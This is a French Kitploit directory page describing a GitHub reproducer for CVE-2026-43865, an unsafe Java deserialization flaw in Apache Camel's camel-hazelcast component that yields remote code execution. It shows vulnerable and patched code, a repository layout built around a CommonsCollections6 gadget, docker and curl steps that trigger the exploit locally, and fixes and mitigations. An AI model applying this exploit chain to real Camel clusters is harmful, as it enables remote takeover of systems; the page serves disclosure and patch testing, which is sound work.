Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-43865 — Reproducteur pour CVE-2026-43865 — instance camel-hazelcast d'Apache Camel configurée par défaut, désérialisation Java non sécurisée (RCE) | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-43865
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationExploitation de BinairesLabs et Pratique
GitHuboscerd/cve-2026-43865

CVE-2026-43865

Reproducteur pour CVE-2026-43865 — instance camel-hazelcast d'Apache Camel configurée par défaut, désérialisation Java non sécurisée (RCE)

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

camel-hazelcast — Reproducteur de la désérialisation non sécurisée de l'instance par défaut (CVE-2026-43865)

Ce projet démontre une vulnérabilité de désérialisation Java dans le composant camel-hazelcast d'Apache Camel, suivie sous la référence CVE-2026-43865. Lorsque Camel construit lui-même la Config Hazelcast — c'est-à-dire lorsqu'aucun HazelcastInstance, hazelcastConfigUri ou bean Config fourni par l'utilisateur n'est présent — il n'applique aucun filtre de désérialisation Java (ni le JavaSerializationFilterConfig de Hazelcast ni un ObjectInputFilter côté Camel). Les objets arrivant via le protocole de cluster Hazelcast sont donc désérialisés dans la couche de sérialisation de Hazelcast (ObjectInputStream.readObject) sans restriction de classes. Un attaquant capable de rejoindre ou d'atteindre le cluster peut publier un objet sérialisé spécialement conçu qui est désérialisé sur chaque nœud Camel — exécution de code à distance, présente par défaut et ne nécessitant aucune configuration d'endpoint explicite.

Avis de sécurité : https://camel.apache.org/security/CVE-2026-43865.html

Résumé de la vulnérabilité

Cette vulnérabilité est distincte des avis de sécurité de la bibliothèque Hazelcast CVE-2016-10750 / CVE-2022-36418 (qui concernent le code de Hazelcast lui-même). Ici, le défaut est que Camel n'applique pas la protection de désérialisation fournie par Hazelcast.

Détails techniques

Lorsqu'aucune instance/config n'est fournie, HazelcastDefaultComponent construit l'instance à partir de la configuration standard et ne définit aucun filtre de sérialisation :

root@kitploit:~
// HazelcastDefaultComponent - affected 4.18.2
if (hazelcastInstance == null && config == null) {
    config = new XmlConfigBuilder().build();
    config.getProperties().setProperty("hazelcast.version.check.enabled", "false");
    config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
    hzInstance = Hazelcast.newHazelcastInstance(config);   // no JavaSerializationFilterConfig
}

Le correctif insère un filtre par défaut (liste blanche java./javax./org.apache.camel., liste noire java.net.) sur les instances que Camel crée lui-même, sans toucher aux Config/HazelcastInstance fournis par l'utilisateur :

root@kitploit:~
// fixed 4.18.3 / 4.21.0
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
HazelcastSerializationFilterHelper.applyDefault(config);   // <-- added
hzInstance = Hazelcast.newHazelcastInstance(config);

Toute structure qui transmet l'objet désérialisé à Camel déclenche la vulnérabilité. Cette PoC utilise un consommateur de file en mode Poll, où IQueue.poll() désérialise l'élément en tête avant que Camel ne l'achemine :

root@kitploit:~
// HazelcastQueueConsumer (Poll mode) - affected
final Object body = queue.poll(config.getPollingTimeout(), TimeUnit.MILLISECONDS);  // readObject, no filter
exchange.getIn().setBody(body);

La route de la victime

root@kitploit:~
from("hazelcast-queue:cve?queueConsumerMode=Poll")   // Camel builds the default (unfiltered) instance
    .log("Consumed: ${body.class.name}");

Structure du dépôt — attaquant vs victime

La victime est le nœud Camel (un membre Hazelcast). L'attaquant est toute entité capable d'atteindre le cluster. Cette PoC autonome exécute un client Hazelcast (l'attaquant) qui rejoint le même cluster à membre unique (dev sur 127.0.0.1:5701) et place un gadget dans la file consommée par la victime.

root@kitploit:~
CVE-2026-43865/
├── pom.xml                 # camel-hazelcast 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile              # runs the app (--add-opens for gadget build; loopback cluster address)
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # victim: hazelcast-queue consumer (default instance)
    │   ├── Gadget.java             # CommonsCollections6 gadget, fires during Hazelcast deserialization
    │   └── ExploitController.java  # attacker: Hazelcast client offers the gadget to the queue
    └── resources/
        └── application.properties

Dans une attaque réelle, les octets sérialisés sont produits par le client/membre Hazelcast de l'attaquant ; seule la victime doit avoir la chaîne de gadgets dans son classpath. Cette PoC construit le gadget dans le processus, c'est pourquoi la JVM est lancée avec --add-opens java.base/java.util=ALL-UNNAMED — un détail de construction du gadget, sans rapport avec la vulnérvulnérabilité.

Prérequis

  • Java 17+ et Maven 3.8+
  • Docker (exécute le reproducteur)

Étapes de reproduction

Étape 1 : Construire et démarrer le conteneur

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Étape 2 : Déclencher la désérialisation (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Offered gadget to hazelcast queue 'cve' as a cluster client.
#    The Camel node's queue.poll() deserialized it via Hazelcast (no filter).
#
#    >>> RCE proof — /tmp/pwned exists: true

Étape 3 : Vérifier

root@kitploit:~
docker exec cve-2026-43865 ls -la /tmp/pwned

Nettoyage

root@kitploit:~
docker compose down

Vecteurs d'attaque

Toute route Camel utilisant un consommateur hazelcast (hazelcast-topic, hazelcast-queue, hazelcast-seda, hazelcast-map, hazelcast-multimap, hazelcast-replicatedmap, hazelcast-list, hazelcast-set), ou les HazelcastAggregationRepository / HazelcastIdempotentRepository, dès lors que l'instance gérée est créée à partir de la configuration par défaut de Camel et qu'un attaquant peut atteindre le cluster.

Conditions d'exploitation

  1. Un consommateur/référentiel camel-hazelcast utilisant une instance que Camel a créée à partir de sa configuration par défaut (aucun bean HazelcastInstance / hazelcastConfigUri / Config fourni par l'utilisateur).
  2. L'attaquant peut rejoindre ou atteindre le cluster Hazelcast (aucune authentification/TLS par défaut).
  3. Une bibliothèque de gadgets dans le classpath (ici commons-collections:3.2.1).

Correctif recommandé

Mettez à jour vers 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23414), qui applique un JavaSerializationFilterConfig Hazelcast par défaut aux instances que Camel crée à partir de sa propre configuration par défaut.

Atténuation

En attendant la mise à jour :

  1. Configurez un filtre de désérialisation sur l'instance Hazelcast (JavaSerializationFilterConfig, ou le -Djdk.serialFilter=!java.net.**;java.**;javax.**;org.apache.camel.**;!* à l'échelle de la JVM).
  2. Activez l'authentification de cluster et TLS de Hazelcast pour restreindre qui peut atteindre le cluster.
  3. Supprimez les bibliothèques de gadgets du classpath (mettez à niveau ou supprimez commons-collections 3.x et les bibliothèques similaires).

Avertissement

Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil
PropriétéValeur
Composantcamel-hazelcast (tout consommateur + HazelcastAggregationRepository / HazelcastIdempotentRepository)
Classe affectéeorg.apache.camel.component.hazelcast.HazelcastDefaultComponent (création de l'instance avec la configuration par défaut)
CWECWE-502 : Désérialisation de données non fiables
ImpactExécution de code à distance (RCE) sur chaque nœud Camel du cluster
DéclencheurUn consommateur/référentiel hazelcast dont l'instance gérée est créée à partir de la configuration par défaut de Camel
Versions affectéesDe 4.0.0 à 4.14.8 exclu, de 4.15.0 à 4.18.3 exclu, de 4.19.0 à 4.21.0 exclu
Versions corrigées4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23414
Rapporteurgaorenyusi